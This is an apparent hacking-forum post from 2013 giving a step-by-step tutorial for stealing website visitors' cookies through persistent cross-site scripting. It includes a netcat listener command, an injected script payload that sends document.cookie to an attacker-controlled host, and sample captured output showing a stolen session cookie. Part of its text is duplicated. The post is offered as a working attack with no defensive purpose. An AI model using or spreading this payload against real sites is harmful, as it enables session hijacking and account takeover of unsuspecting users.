Steal cookies using XSS 05-16-2013, 09:49 PM
#1
This is nothing new really, but stealing cookie using cross-site scripting is an unbelievable simple task. You need two things
1. A website vulnerable to persistent cross-site scripting (Duh! obviously)
2. Netcat
Important: This method will only give you cookies that is not HttpOnly.
Step 1: Use netcat to listen to incoming traffic
If you want to keep listening add the k option
Step 2: Infect the website
Replace attacker with domain or IP
When someone visits the site you will get a result looking something similar to this
1. A website vulnerable to persistent cross-site scripting (Duh! obviously)
2. Netcat
Important: This method will only give you cookies that is not HttpOnly.
Step 1: Use netcat to listen to incoming traffic
Code:
$ nc -lv 4444Code:
$ nc -lvk 4444Step 2: Infect the website
Code:
<script>new Image().src='http://attacker:port/?cookie=' + encodeURI(document.cookie);</script>When someone visits the site you will get a result looking something similar to this
Code:
# nc -lv 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 33362
GET /?cookie=username=someuser;%20uid=1 HTTP/1.1
Host: localhost:4444
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/cookie.php
Cookie: username=someuser; uid=1
Connection: keep-alive


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)